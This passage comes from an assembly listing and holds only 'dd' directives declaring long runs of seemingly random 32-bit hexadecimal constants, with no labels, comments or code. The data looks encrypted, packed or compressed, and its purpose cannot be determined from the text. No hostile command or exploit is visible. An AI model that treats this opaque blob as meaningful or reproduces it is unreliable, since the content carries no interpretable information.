0B00B5D35h, 0D01B494Ah, 0D02C2E82h dd 1DB9A960h, 2A0F482h, 1A8A7245h, 0CA023344h, 0E93A1466h dd 68FA68C4h, 0EE535432h, 6EF2508Fh, 9870507Bh, 93789D43h dd 0F80994C4h, 4E18DDC8h, 7E25B230h, 69834D2Fh, 0A36E59CEh dd 31EED283h, 4CF8322h, 40DCEEC1h, 0DFF7F27Bh, 0A0986D49h dd 8653168h, 3AC1BF6Bh, 11461FDh, 0A8704513h, 0C881C68Fh dd 0CFE0131h, 4F4C6F91h, 40A15FC8h, 83255901h, 0CBCE54C0h dd 0C21A075h, 16466D03h, 0A37F7568h, 0E2211012h, 8BBB5300h dd 29477967h, 0B36896BDh, 6C28888Ah, 0F7D03100h, 0C0592DAh dd 1B0FFB35h, 151226FAh, 0F5017310h, 4FF2576Eh, 22DD1882h dd 0EBE8593Eh, 0E0820226h, 34FDFA6Dh, 0EE8C9DF9h, 52E99E42h dd 0D2E7AED7h, 7A80EF05h, 89E4BFC7h, 0FD2F99FEh, 586A2C54h dd 5AF8921Dh, 0ED97061Dh, 35701DDEh, 8F2BE4Ah, 0AD030D08h dd 0E032822Dh, 0B6D82930h, 1DF2C27Ch, 0FA046809h, 95ED72FFh dd 0EE105EDEh, 8F049448h, 0C028400Ah, 742B9A4Fh, 230C766Fh dd 47D711Bh, 1425D624h, 8750BA0Bh, 141C6808h, 5FE0E90Bh dd 10435EC8h, 2975B211h, 689D0A31h, 0EA32A09h, 915A4A7Eh dd 2EEDF05Fh, 0E7F73F88h dd 0F3FCEC2Eh, 102EAB68h, 2C33DEDh, 23BFF5BBh, 2F8EF58Eh dd 91EBDD6Fh, 0CE4E862Fh, 171F4E4h, 3D287FBFh, 0BA96788Bh dd 0D8C98048h, 70D3FD25h, 0CB7897D7h, 0BEC44C97h, 16A2C23Eh dd 0C35A6602h, 26EFAC4h, 9AC1D1F7h, 0D00F94F2h, 0AFE14AFBh dd 7B5DB32Bh, 5FF41C25h, 34D16F99h, 9C174F45h, 3CB18183h dd 7FD2E561h, 7857353Ah, 1143722h, 0E6A863C5h, 0C5800C0Fh dd 9496DEDCh, 157DA920h, 31060595h, 41555AD5h, 90685DB3h dd 0EEA67A29h, 9F50BA79h, 8B83F278h, 0DFBEA607h, 5CC90152h dd 0C3CE8203h, 0CD608A62h, 26C0F0B3h, 0A20FA32Dh, 5285BC29h dd 0D19FECD8h, 0FA06E90Ah, 0BD027B4Dh, 20CB6E61h, 8CE5C21h dd 3114D530h, 2405028Ah, 545136F1h, 0B752848h, 7CC73A41h dd 2F0A6821h, 390C8263h, 48059A33h, 0C0C023E9h, 6D7FCA7Bh dd 424B1031h, 0D1FBA3D3h, 0C12AE808h, 7FC8B1A4h, 7FC26932h dd 0BE809045h, 4C674EACh, 0A8F62881h, 0D9C20406h, 0F8178306h dd 958C1959h, 3332EB7Bh, 3F1BA069h, 6B4BC9E4h, 139208A6h dd 9A0152C2h, 591E12B6h, 353471BEh, 7B1F8BF2h, 0DA2F55CCh dd 0C93CE884h, 6CE42E49h, 9CE097CBh, 0E9125857h, 0D8EED01Dh dd 394DCEC7h, 21B802EAh, 57D255E8h, 7A917ED0h, 0A5DB1B42h dd 5CACFBDDh, 7FF381C0h, 3AB08555h, 0CABA749Fh, 7A2D0402h dd 0EDBD8088h, 0C3277D4Bh, 0BB526015h, 0CFE3C987h, 93E840F7h dd 0CC699D0Ah, 0CFB6C55Ah, 321AF1B0h, 0F73E200Bh, 3DEDF2D9h dd 5FB72277h, 8405DE20h, 4187FF4Eh, 49C20E40h, 7690B35h dd 8C5D767Ah, 0F6040621h, 78F414D4h, 0C3399421h, 696C15Bh dd 7F6B07FFh, 76AD5515h, 1E435826h, 0F17258B2h, 2D87CE5Bh dd 82E25247h, 61E67D47h, 89BF2F54h, 7E94E250h, 22412774h dd 0B04DCA20h, 0E4E5636Ch, 0F5E01969h, 0DD3F1189h, 0AE0E607Fh dd 0B076DC23h, 79A20B65h, 37C25A5Bh, 5F295C80h, 0FA971FB8h dd 0E9088162h, 0EB2C6A0h, 0ED80C5FEh, 2F689D3Eh, 0F4B648A0h dd 0C9E78850h, 86292BE7h, 4AF08B7Bh, 0EFCCBAE1h, 0D7E9272Ah dd 0DEF7FB82h, 5DA683DDh, 0B6AB84F5h, 0EB277CA6h, 45EBF921h dd 5EA440A9h, 16CBBD5Bh, 312AA50Ah, 8C469FC5h, 0C0FE0F79h dd 0BAD8B151h, 7CFCC688h, 281C6362h, 0C02D5E3h, 0EC57F18Eh dd 546839FDh, 0E483CD4Bh, 7C5F610Dh, 0B780AC84h, 98B4159Bh dd 5BE20946h, 0D5D97558h, 0D0C7B602h, 5B8CDF6Fh, 0BE0B5606h dd 80A96BD5h, 0BC59C64Eh, 291C0251h, 33BE9F1h, 0C2F3135Fh dd 7E0CD007h, 0C1E32747h, 722446FAh, 2D17464Ch, 0C33F09F1h dd 0F14F2ACCh, 302F6AFDh, 5D68D1C0h, 84FC3B4Dh, 6EACFA7Bh dd 97D4FB92h, 0D631BF82h, 30BE019Bh, 9F52802Eh, 7865C0A8h dd 0D3CC208Ch, 31BF4FAh, 0E93DE620h, 1AA7BDF5h, 0F897B2D0h dd 859C6AA6h, 13E9212Ch, 0CB68FE5Bh, 954F7097h, 34C56174h dd 82606AA1h, 46582D68h, 65808E98h, 2B1234Ch, 0E5032BF3h dd 50CD42Ch, 0FBF4BEE9h, 0FD4E3FDEh, 5AE93B5Dh, 956621F0h dd 5D78B8DCh, 51014915h, 385F5ACBh, 55E0EAh, 7D6BD168h dd 0CD815D70h, 0C3387402h, 8EBF5742h, 0F88D0BCFh, 91CDA33Bh dd 80E2083Bh, 0BE4DFE8Ah, 756BBF14h, 0E238C098h, 1DEDA4C4h dd 0E96634EFh, 5494A21Dh, 0CCD62FB5h, 0D24A7822h, 0F037E044h dd 80C98F90h, 303C1FC1h, 4A30BCBh, 75EA397Ch, 600DEE02h dd 0FF6D4137h, 601D03A8h, 0EDB92EFCh, 5A7A8B1Eh, 94C8AF25h dd 0D95B4FCCh, 603C90C0h, 0C46CC44Eh, 68C060C8h, 6FB16277h dd 0E4FA91B4h, 56725380h, 558B6803h, 205B45CDh, 5960EDD4h dd 80685C27h, 0E923A87Bh, 0FA829FA6h, 84D8885Ah, 97315D20h dd 33327D70h, 83C60C85h, 0F0E8CDAh, 6FF4870Ch, 0C7EF005Fh dd 1339F3Ch, 70E9F70Bh, 0EF66F2E3h, 4CA5FEE1h, 824E12DEh dd 0DC102868h, 349048BBh, 0F54A8132h, 0CCA920B4h, 0E74CE5B0h dd 0FB6D1078h, 5E56B800h, 96055C0Dh, 0FF344038h, 0D0C7882Bh dd 0BAF9412Fh, 0EBC502F3h, 620E20EEh, 332F2748h, 84FED90h dd 0C44A260Eh, 0B812CEB7h, 0EA427297h, 314BEB4Fh, 97DA78DBh dd 0E3907416h, 0F601EA01h, 7FF1E9D2h, 5083F27Bh, 25137971h dd 5D0F5283h, 0EB297311h, 5C61360Dh, 6D8B6E29h, 1ED7B7E2h dd 24E684BFh, 0C088A1F1h, 1D456851h, 201EDA9Bh, 0D9098793h dd 27D5F496h, 0E97036D4h, 8433BE6Ah, 0FF02F9E5h, 0A5E28404h dd 0C39D490Fh, 7F6377E8h, 399C32E1h, 23FD8h, 387DBBCBh dd 6AF3870Dh, 11A70646h, 0FA765AF5h, 9FDD3F6h, 6A041E0Bh dd 1A42837Ah, 2CAA0D4Fh, 782DE9DEh, 51C8D470h, 6836813Ch dd 67704CC2h, 0C0E0C26Eh, 45050C5Ah, 512F3274h, 0C48BD10Fh dd 0D2C236ACh, 20B4FA68h, 8E94BDB4h, 0F216273Fh, 56F705DDh dd 0C036BF26h, 0E32A9C9Eh, 52D1226h, 4393540h, 30655895h dd 4348B725h, 43C0FB15h, 2C01BDEEh, 31FE906Ah, 6825CB6Ch dd 4DA5F03Dh, 0D820E190h, 0ED70B788h, 64497395h, 0BAE495B6h dd 2630BB44h, 222139BBh, 18CB00A5h, 0E978AA31h, 2BA3413Dh dd 0AAD23AF6h, 4B6DF38Ch, 1FF6A429h, 0EEC1B5Ah, 0B8DA7712h dd 42BC93B5h, 79CD06B0h, 0C105CB7Eh, 0B781B86h, 0BBD94BBh dd 0C9575808h, 1DF01881h, 9F7B25Dh, 647CCC3Ah, 0D08D58FEh dd 996F3E5Ah, 8A6060A0h, 6BDE3F55h, 1CD835E8h, 168314E7h dd 0DC08690Ch, 0BD01552Ah, 1CD3129Ch, 520F587h, 0C64A8169h dd 1F13F980h, 1284D56h, 8748F1C2h, 7668C26Bh, 2431EC57h dd 67FA1A28h, 0BCA0955Fh, 0A5FE4D29h, 0C83EC2A9h, 0E001894Bh dd 98BD0CC9h, 4FF468F5h, 0AD75CC7Bh, 0E9097C43h, 0F15A6752h dd 42D3CFAh, 8DC6A13h, 0E985A508h, 0EA20C81Eh, 486B52B8h dd 0E706761Ch, 0C44A947h, 0FD36727Fh, 2DCA44A7h, 0B768D0D7h dd 0B83F6707h, 60CA3472h, 0E9550801h, 0CD6BC1A1h, 783D7E42h dd 9B20E82Ch, 89C55F50h, 8048867Bh, 0B3905F9Fh, 0BF6A7151h dd 0D1E79578h, 376320B6h, 0C9ED8460h, 14EB036Fh, 0CAE1C119h dd 8C47FF17h, 34133B13h, 3DB84AEDh, 0C905E9F1h, 0D0377FF2h dd 10D91A2h, 33232E68h, 12114CACh, 0A7A39DB1h, 4911CA5Ah dd 9FD94B70h, 4FFAE14Ch, 0B40340B9h, 891FFE36h, 0AC2668BFh dd 6CA70510h, 5337BC68h, 944A865h, 74557E1Ch, 0CE9A53D3h dd 0F51D62FFh, 0E5419EE4h, 81E3FD2Bh, 165C37DBh, 52BB0840h dd 0EB155C1Ch, 0DFD5E9E1h, 3C5DEBEFh, 16858476h, 0D1D9E0E9h dd 0A02CC6h, 43A69BDh, 0EB3104A7h, 0FCD7BF5Dh, 250B2FC0h dd 7FC0B576h, 9D2EFC2Bh, 0F11915AEh, 0A4814465h, 4E5A7E28h dd 0EAA08159h, 350D0EA6h, 53434C20h, 6816D03Fh, 0C8CAAA2h dd 99A590AFh, 47310E64h, 825148A5h, 0A68F672h, 2CF0D788h dd 0F8281F13h, 4272E00Bh, 6634FDBDh, 0C709114Eh, 1830755Ah dd 0DC82E88Bh, 14A9CF31h, 74EA37D4h, 0FC4EC810h, 59E9F1C0h dd 94A4A93Fh, 579099Ch, 51575C01h, 0F8CA757Fh, 79B559CBh dd 5453621Bh, 321C90DFh, 0E0558244h, 58D73A14h, 0BD05186Ah dd 0C020634Eh, 0EA4CFBABh, 100C2A62h, 0E184354h, 0AE22125Ah dd 0AE41BB77h, 683F62F8h, 90E8B33Bh, 55C04F0Fh, 5F0B3135h dd 4002E953h, 7C5AE908h, 95768DC4h, 79FB95FEh, 0D650E98Eh dd 0CEC5E121h, 0F5C36D93h, 0CAB2A7D2h, 0F0B60EDEh, 980135Fh dd 912AB009h, 0C29F0B5Ch, 0F9FDAB27h, 0EBDA0D43h, 0FF290957h dd 287B2E39h, 89A15EE1h dd 1DC06461h, 0F03B5E82h, 0C704817Ah, 2C483F4Bh, 0B19E10FFh dd 0B35B6A05h, 354BC110h, 61B07A5Dh, 0E104E3E6h, 5DF9E906h dd 0B71F2480h, 77560219h, 0DAFB3D4h, 594A7942h, 5C728075h dd 1C813D41h, 0CE1D78EFh, 4C9C177h, 471F45FEh, 5C40CF41h dd 0A4BA32A3h, 0C0C8012h, 92A5F882h, 72581E0Bh, 5AFA8B43h dd 6E72D53h, 757292F7h, 13126F5Bh, 0B256BBC3h, 0FCC4D5E4h dd 0A410CE0Fh, 0C0456B25h, 0E4D5F611h, 0B665EDDh, 0EF445E2Ah dd 0BB74F818h, 5F75BAE2h, 9E6407B0h, 0C71C555h, 0B15651DCh dd 21232405h, 69C2D989h, 51ED18Ah, 0F9270568h, 0BBD9A480h dd 80F2947Eh, 0E3DDE96Dh, 689F389Fh, 0F7071310h, 7E17050Eh dd 0BA1162A6h, 5CDCC4C0h, 0FAB562B7h, 77E97190h, 0D82DDD04h dd 0C580A78Ch, 0B252EF02h, 91DAF688h, 0E5648626h, 101FD84h dd 776FDCDAh, 8766595h, 635260D7h, 8F68E9C7h, 142EA274h dd 0DD7BF50Ah, 76F3FC2Fh, 431795A6h, 26D876A2h, 0CB482DF8h dd 94EB2826h, 7E56CC2Dh, 1508A01Ah, 0B7D9E957h, 41F90916h dd 0C60573E3h, 85E32F39h, 0C801FE4Ah, 14CB3E85h, 18BBCDF8h dd 2817B129h, 63F258D1h, 5F13D89Dh, 150B0409h, 0E7C1021Bh dd 0ED334108h, 417FBB8Bh, 0B652BC98h, 0F0889F04h, 60BA285Ah dd 5BDC304Ah, 0AD8D69Dh, 828E0B9Ch, 611F0685h, 774AC2D7h dd 0BD923B04h, 0A1DD1061h, 0EFDE9D7Dh, 0B04D5752h, 675E6804h dd 0C413BBE3h, 66FC914Bh, 3FA77FE4h, 0BAC6277Bh, 0C05AF51h dd 42AF5A5Eh, 0D4C68C1h, 0B5C4B4DFh, 5C5A60DEh, 16A53E3Bh dd 0DCEFEE69h, 69D7809Ah, 451672A8h, 0D356E3E7h, 57AB92BAh dd 0ED8F98DEh, 58700B71h, 11F580DEh, 1E6D2D72h, 25121CC0h dd 64021295h, 47B90B0Bh, 824A5155h, 1205E304h, 92F9B313h dd 0F8B4CC58h, 0AC681677h, 4CA7B84h, 98C28100h, 0E937723Bh dd 0ED16B25Ah, 4A6B2B41h, 3B212381h, 0BA800204h, 7E635362h dd 46CA0721h, 6037804Dh, 433239E2h, 290C5A60h, 3B7A103Eh dd 304A2768h, 0A13A3824h, 0EF315424h, 0FC6CA40Bh, 7C7A435Bh dd 58570698h, 52505F1Dh, 0A0EC5A12h, 5D8192C9h, 6F9F27D5h dd 0B5232503h, 6009FA61h, 17D025E3h, 374206h, 725C22F4h dd 826E927h, 0DDC93A6Ah, 0E7626A32h, 0E583C374h, 0D9028977h dd 30139A4Ah, 0E85DF4BAh, 0E53C22Ah, 29209ED3h, 4BD7E396h dd 0C659EE1h, 4342E3Fh, 59204F01h, 870B34EAh, 2A1A49FEh dd 62715B5Fh, 835F06E9h, 0BAA3B67Dh, 8708D778h, 0AD87494Ch dd 688D8244h, 0B9A33760h, 7DE2DD82h, 34A17B7Fh, 0F15CC577h dd 8D328B00h, 53F654C4h, 7FEDDFE1h, 0F02E02CDh, 0A76D36EDh dd 0C4205E16h, 8E989713h, 80267ED0h, 925B2E4h, 0C9F4DE5Ch dd 59CC58DEh, 0A4681353h, 588D8C12h, 5C1B3417h, 0CE6EBCF5h dd 0E8E67A1Eh, 8E2D053Eh, 0AF15794Ch, 0E4CD0C30h, 0DDF64FA6h dd 0FA7DCAC7h, 0BEF9205Ch, 7D18409Fh, 4625242Ah, 34518AD5h dd 0BE5C445Fh, 9BB19800h, 1649F180h, 273BB3E9h, 3041813Bh dd 0F3D5303Ah, 0FEE63702h, 845DEE31h, 9CA85EBBh, 7F4041C9h dd 75539968h, 524E7D9Fh, 0FD82205Dh, 0FF8CCEBCh, 0E8C698E9h dd 9112EFh, 0CBEF5545h, 0CE4A388Ch, 3C88C320h, 6A18F687h dd 3EA887D9h, 0B3534405h, 4709EB78h, 28F7E166h, 9E8A9143h dd 80020E65h, 0C366B7E3h, 0C8E03D5Eh, 3A822C39h, 25C23B44h dd 709A5F4Ah, 8C99DBD7h, 31602F2Eh, 0C3B9D85Ah, 89EAF1C5h dd 0F7263064h, 731C350Bh, 0FC100B17h, 40F283AFh, 0ECCCC83Ah dd 8F0139BBh, 89E90B31h, 3C02B18Fh, 25B7D004h, 7540F87Ch dd 0C00DD321h, 5B3971ACh, 4841294Ah, 49BC5C0Ch, 51500220h dd 0E43E08B8h, 9C5ADE81h, 0E7975F44h, 9706A917h, 36FC0BEAh dd 42903D66h, 5ECCE52h, 0C037D10Dh, 3F03EAE8h, 0CB8962B2h dd 3ED017E9h, 3901C8F3h, 4F2B6B68h, 8AAD6B51h, 0ED0E1648h dd 0CB9ED6A0h, 927D7C3Ah, 8FD9571Ch, 107C184h, 2C8519ACh dd 3674AB10h, 8053A2AFh, 56A603D3h, 641013BBh, 0E988E42Dh dd 2DB9EA20h, 0B0776668h, 5E9B6B72h, 2761F609h, 0E982E0D1h dd 0E8C2979Fh, 0C55861D6h, 0A203202h, 94A7E126h, 596420F6h dd 0F17D2169h, 1B13CB5Ah, 5BAB2BBEh, 0E917CCA6h, 0BA19801Fh dd 2373B69Dh, 0D7738995h, 86E91E18h, 5625599Eh, 437978D6h dd 0AC2D7FE1h, 0D86FF025h, 305A053Dh, 0E90D84F6h, 6B92C567h dd 7B2DA3F0h, 109048F4h, 0E93D8D12h, 36885F7h, 334093D9h dd 0B3774CDh, 39E94F25h, 0BCF5DF62h, 38E9255Ch, 0E44295FEh dd 0FC3FE6B7h, 4B019F03h, 0BDEE2959h, 50D2A5C7h, 75680520h dd 0C23D2C74h, 56F01049h, 70B15E9Fh, 0E6BDBC53h, 95FAF2E0h dd 91549A29h, 60BBE417h, 84EA81D4h, 183E4512h, 0A81DE3A8h dd 8C5E6705h, 0B9039AEAh, 272F014h, 4C6F670Ch, 62772978h dd 0E2080C9Fh, 0CAF7483Fh, 9916CE83h, 38564FDAh, 220CD209h dd 0F2BAD5Eh, 1641C45h, 3A60A118h, 69E07E40h, 20F29041h dd 0C01DFE17h, 0C39B04E3h, 684DE204h, 0B5736849h, 12D5EDC2h dd 0A97F7BFh, 67B4A920h, 0BC025525h, 0BE00BBB2h, 9D37580Eh dd 0D909F458h, 85699660h, 36EE0164h, 0D06332A2h, 27334787h dd 0D8092FD3h, 0BF79967Fh, 820D52E7h, 0F7613D4Ah, 0BB6B526Fh dd 0ED38FC29h, 833DA24Eh, 17F925E9h, 0AA5AD139h, 0D275D9C0h dd 29D31896h, 0A4E98FCFh, 578DE75Fh, 9EFAAE5h, 7EDC1AEh dd 44094C78h, 0D00C48ADh, 0C7312226h, 7D1DE915h, 5F497865h dd 0A9832C92h, 781D3501h, 65F57AA8h, 52ADF250h, 403602BAh dd 0EE81564Dh, 6D2678C0h, 5FB0E91Ah, 0F2C0024Fh, 0F5BC0CBAh dd 0E728A813h, 0BBB940AEh, 25175E4Fh, 36410A90h, 4226807Bh dd 73607C6Dh, 7B05E30Ch, 0ECC19D75h, 0C0846EFh, 525B1480h dd 510278B8h, 0E95AF66Ch, 977B7007h, 7892E8E0h, 0E2F8BBE8h dd 0F2BC35F1h, 521F2454h, 545EBA47h, 179C2FDCh, 0FDC3E933h dd 90F33BAAh, 5C2D7AEEh, 1249D676h, 7B76568Eh, 0B5FF4420h dd 6CB4A768h, 1EE75582h, 34595025h, 0EB5ED18Ah, 30A21F56h dd 1AC63C19h, 92ADDB55h, 2FE15651h, 6BCF2F5Dh, 0BBB5E548h dd 0CB5A81DFh, 12B44869h, 0FDD3B44Ah, 595FFA1h, 8CCAABF1h dd 0E20F1C08h, 0AE46484Fh, 0C3075B04h, 5897BA24h, 0D33BE0F0h dd 0DA36C145h, 3B768809h, 7918F38Bh, 0F3EA6F65h, 52361D13h dd 0C1B165BFh, 3B8E30E5h, 88BFB230h, 7E492702h, 0F6A71FD9h dd 45E94206h, 0B8706B78h, 6FC80FA1h, 0E90916A3h, 0D7FC1E16h dd 40F5162h, 0BF59C4C1h, 0A76FAF2h, 9D0950EBh, 2DC60B81h dd 46CFCDF4h, 753D0506h, 0BDE6E6EEh, 67E413D8h, 0E92E3704h dd 0E9B4F8F0h, 4C7371F7h, 0F425944Eh, 5D5F33F0h, 0AF84E4C5h dd 80C694AAh, 21727725h, 0AEE990C0h, 98A6E51Ch, 9ACDEE0Ch dd 0F0304A3Ah, 0EA447D1Ch, 0F82FFFF7h, 0C42CB962h, 92918C16h dd 21278003h, 1C1A55C9h, 101E9F01h, 0F2AA7091h, 0A9193A50h dd 144C32F2h, 3F8984AFh, 88C546EEh, 5E5FE0C0h, 0F9C0FCF2h dd 5F595D51h, 44BB5B5Eh, 0D2B8E9B0h, 0D2C0D1D0h, 9F1708EAh dd 43AB3FE6h, 759CEB2Eh, 0A8DF4C8Ah, 2225082Dh, 92674ED3h dd 8068C4DEh, 1715C2A8h, 90093979h, 0A9A82F62h, 2779DC48h dd 7289549Fh, 73148155h, 0B13F0142h, 0AA0804A6h, 5C8982B2h dd 0EC64D5F9h, 2ABAB131h, 0A585E525h, 785D4ABBh, 2A6A4ACh dd 23965DA7h, 7427D6F4h dd 52584258h, 0A0825E7Ch, 0CA5FF028h, 231F8003h, 0B55A1808h dd 0F2D14BC1h, 0F43D0DC0h, 502D532Fh, 0C76A26F1h, 13CA9340h dd 0C6E0D1CCh, 0E499E849h, 5B5FFEB8h, 41BC28CCh, 0DD2A40FBh dd 255B8B7Ch, 70994841h, 846BE70Bh, 2502F154h, 49C50293h dd 64EF3B5Eh, 0E0B357A2h, 0A2AE3F12h, 17EA4E6Eh, 0C49BABD3h dd 684A424Fh, 2C8B177Ch, 49B77C70h, 0A82A5EEEh, 6A3A0FDAh dd 5BB817B4h, 92CABE01h, 2129B687h, 0C599432Ah, 0C6FE4416h dd 3F8E39AFh, 306FF8F5h, 0E9D5F6D5h, 0E50C9830h, 274E6BF3h dd 6EE11BB6h, 3ED6121h, 0FB1B3CCh, 812306Ch, 0FA27E918h dd 66857ABh, 0E7328B6h, 115A4E5Fh, 972D4B2Ch, 67902252h dd 529ACCB0h, 0A003F19Dh, 56EF1EE2h, 88DDE509h, 65250823h dd 0BF3315E2h, 35BF4612h, 0BE20548h, 8F9EEC05h, 0C9B847D2h dd 0F56811A0h, 7743BD7Eh, 0A3EC0F5Fh, 425AC1B4h, 2A302E61h dd 13265DAAh, 24FBE970h, 611D5056h, 52C257Fh, 194D919Bh dd 2ECF0214h, 5C295B38h, 1708203Eh, 0B86C9FE9h, 0D606C95Bh dd 0C1E62FE3h, 0B9BDC1BFh, 35A0F20h, 0E940478Fh, 6127B0E7h dd 76BCF2C3h, 20B3B829h, 5A5CD437h, 974F4D12h, 811C35EAh dd 72128A19h, 0ED810FFAh, 6ED704E6h, 0E57837BFh, 157BBCD5h dd 0E81A4D6h, 997B2F68h, 1B60B0A3h, 0DFC27288h, 1E58132Ch dd 0C2EB5E0Fh, 0B049E9D8h, 0E2091B57h, 35B6C0Fh, 50753C15h dd 412D3F7h, 0A7F518E9h, 1D72FC70h, 0BF53DD15h, 38582E00h dd 92B85019h, 62007FF8h, 6E55B62Dh, 13130D23h, 0E2CEF30h dd 0EF13DB8Fh, 1D58C7CBh, 486E5B27h, 9CA15950h, 2A5F629Fh dd 0C314D671h, 4FE90824h, 0E1C005B2h, 0F9890405h, 9AE92015h dd 9051BAE2h, 18AE802Dh, 0E078B534h, 0E1DBFE20h, 7F66E16Fh dd 0F24F6CB6h, 0F731C4E3h, 0A9C54209h, 752DD582h, 0E3AFD538h dd 0B210C789h, 0E12756A5h, 0B6BA5866h, 20418142h, 0A05D162Dh dd 3CC4079Ah, 28A459A4h, 0D02B5BFAh, 332508F2h, 0FC415F2Fh dd 1FF025A7h, 180BC780h, 3719B20h, 7AE207FAh, 400D8F7h dd 0BD4FE605h, 28F3574h, 0E9F33C7Bh, 0AF6520D4h, 0ECFBC825h dd 6810C235h, 0AA715FDDh, 572F8B9Dh, 662C16B4h, 0B043E1DCh dd 0BF0C0232h, 519C5D2Dh, 0F74FFB61h, 8E80FCA2h, 0CD16BE66h dd 0BB1E5375h, 0A6646D20h, 0A0E353Ch, 0E14A9F82h, 4BF4DB4Ch dd 206CE3E9h, 8BD5426h, 0BD1F1011h, 46EA3281h, 842EDDF7h dd 0C25FC5Ah, 87923BE9h, 2B251E53h, 3AD58963h, 342C14B0h dd 81758E00h, 6A03F8CAh, 0B00CC570h, 0F7C90438h, 0A01AC0DAh dd 8D5E3750h, 0B570C0ACh, 0F65A284h, 0C5746402h, 4B9E0112h dd 0D83F9E68h, 3A0723E6h, 5346245Eh, 6E5B3EB0h, 59C0B76Dh dd 58504712h, 184188BBh, 896AE82Ah, 72A2740Ch, 42DEC5F5h dd 1A7DCEE4h, 0A8ECC505h, 44A80929h, 0EF007645h, 7CC06E0Bh dd 275DE080h, 0BF78AB6h, 0FAC67F66h, 0E24B802Eh, 0E35F6340h dd 9F2D0075h, 0E961821Ch, 65B52CB6h, 0BBC1160Ah, 0D92089CBh dd 7BE9A4C2h, 0A1359026h, 47BF80ADh, 1FC65F17h, 0D431B0Ch dd 755C9F89h, 5C027752h, 1FD09168h, 5F6B9785h, 0EC9E9DA2h dd 0AF495C09h, 595EED72h, 27D139BBh, 882A1566h, 2499EBAh dd 54BA9ABEh, 0C54A88BBh, 76D30B2Dh, 42D57A02h, 7EE475A7h dd 0EE5BFE90h, 7B4929FBh, 5516B7F6h, 0F0684EEFh, 80D6A7EAh dd 88B8EC80h, 48B858E6h, 0E9057591h, 0BA33C15Ah, 75C4C45Fh dd 0A5F8BAEh, 6303EFC1h, 1858E08h, 0A45C2C05h, 394C9118h dd 855FFB16h, 78B3BEFAh, 2E41C227h, 0CBAB2C50h, 527B8A52h dd 0FE9D702h, 44550BD6h, 9BF1FD7Ah, 0E18919FFh, 42080604h dd 2A6A9947h, 500AF51h, 3CCB5EE7h, 7629002Dh, 0E80154B5h dd 575B6A68h, 55BBF30h, 0B1075BFBh, 40AE656Dh, 5A69E06Eh dd 0DF852E5Fh, 7FEAE502h, 0C6E16137h, 0FF7C13D4h, 6B76F8F3h dd 586FB848h, 0C084B0F7h, 0C7830210h, 5B89D001h, 0B8818046h dd 295E4C37h, 48067081h, 1203089Dh, 0DDFC17E9h, 7BE0CDAEh dd 0E192FDB3h, 0D0306C92h, 0B2371095h, 0A468814Bh, 4B1205CBh dd 0FC92D9AEh, 899156EDh, 839CCF01h, 0BD3B89BFh, 808A27FBh dd 2272D76h, 51800FAh, 58D53A8Ch, 44F9F029h, 17298407h dd 8C5E112h, 6F4C2C86h, 95B2B409h, 0CBCEE909h, 5A36B668h dd 0BE430505h, 0AC177565h, 0C0AF5CEFh, 41044E34h, 0E63DC146h dd 64F60407h, 5CC2CFF7h, 9FB25449h, 8B31C4BFh, 4A92BA0Eh dd 0D0AD645Fh, 29100F64h, 0C559274Ch, 55580A98h, 4C6F08A7h dd 0A4B35300h, 25C0CBFEh, 0CF4006EBh, 1C97CED2h, 0A316BF59h dd 4631F825h, 72E600BBh, 0E0C1799Ah, 0D000F702h, 40C60548h dd 0EAE92E80h, 0FFD2D2D8h, 8D310A79h, 685C8E50h, 441ABF0Eh dd 0F30A607Dh, 0ED2FF767h, 0E38B9F23h, 0C20F567Ch, 7D12BD55h dd 96FDD189h, 0EDBE20C0h, 3A95C4Eh, 63FC21E5h, 6D352B9Bh dd 415CE1FCh, 7E9D2D5Ah, 75E9BEC0h, 6240B6B5h, 0BB0002E5h dd 9DF84EE8h, 51AA0BF0h, 0EB9BE55Fh, 64AAB04h, 0F47F5F53h dd 6BED58F6h, 3B187681h, 2D196038h, 40796402h, 75CA57E9h dd 1108BE71h, 793728DEh, 7420261Bh, 0EC479692h, 6A204A5Eh dd 40AACECh, 0A9E95EDBh, 3E56DDEFh, 6507B43h, 0C501B3B6h dd 174034BBh, 24CEBE0Ch, 50F1A34Ah, 0A44121EAh, 0BE5AE07Bh dd 0A461D441h, 0B33953F8h, 18680453h, 0FB8ABA3Fh, 163CBE5Bh dd 8ADC4EA9h, 5DEA17F3h, 42E67004h, 2CC636E8h, 43507EC2h dd 4938EDADh, 256DC838h, 48DA4C63h, 0BB817656h, 0F78D3CDFh dd 7AE58005h, 16C66331h, 44420F1Ch, 0F3C06A07h, 9363EA7h dd 5B4C297Eh, 54AE44B1h, 0EB6F9FB9h, 13165E76h, 0B1D3EC5Ch dd 0CE2605DDh, 0C96EAB05h, 0DA00EE73h, 90C8522h, 0B27497F0h dd 67110269h, 0A05B067Ch, 42028B0Fh, 12B18F27h, 0B7C6EAE8h dd 0C8B281CFh, 1C966814h, 6273813Ah, 96404184h, 1D0E0CFEh dd 84F58148h, 817A931Dh, 472E4E49h, 0A8EDC48Ah, 0AC1384BAh dd 1210AD14h, 1B813E1h, 0D344B8h, 0D72B5A62h, 555C460Bh dd 0C28320D6h, 8228DBE4h, 0A655A78Bh, 503D4717h, 976BCFF1h dd 36421971h, 0B0F7B130h, 0AB4F847Ah, 0E7D638A2h, 2EF0209Dh dd 139656B2h, 0FCB30Eh, 6B5A27D1h, 28EFE581h, 5F92953h dd 0A930C5EDh, 7780FB57h, 0B5D5F74Dh, 33051500h, 0E09D4B51h dd 3F51DACh, 7DB1257Ah, 0A0A83128h, 5F4A1E49h, 2E02DA4h dd 12463506h, 89552BCAh, 969B5F69h, 53A290B7h, 3AFFAD2Ch dd 0E981ED97h, 0E33A7B7Dh, 2F9490C6h, 1273C8B5h, 52B13D42h dd 61862F92h, 7B2A4436h, 0B75FCB28h, 0E961DCE5h, 0F22A9F85h dd 8EB02D2h, 4113B82Ch, 0C93E1A80h, 9050308Dh, 91A2094Eh dd 30891488h, 4964D5AEh, 1A623100h, 60F18164h, 6146279Bh dd 0B1A8D2D6h, 29AD0F9Bh, 0FE481EF5h, 17C1BC3Bh, 6A59D05Fh dd 7548126Ch, 924B583Dh, 0E8EB9CBBh, 69685D12h, 0FCE98E42h dd 8CEB7EEDh, 295581A8h, 3DD8FFC1h, 0C8025C5h, 95B4C6Ch dd 75F8BA52h, 0E937F104h, 0CBFEDD95h, 5F820561h, 79A56AC9h dd 72E90801h, 52600C7h, 3EC0612Bh, 2D50D001h, 1D7BE907h dd 9BED49C0h, 9F46DC37h, 80B75EAh, 9C97EB94h, 0BC1C2F1Eh dd 0F69DB634h, 78A50200h, 0C1616819h, 0C1A872CAh, 9148ABC6h 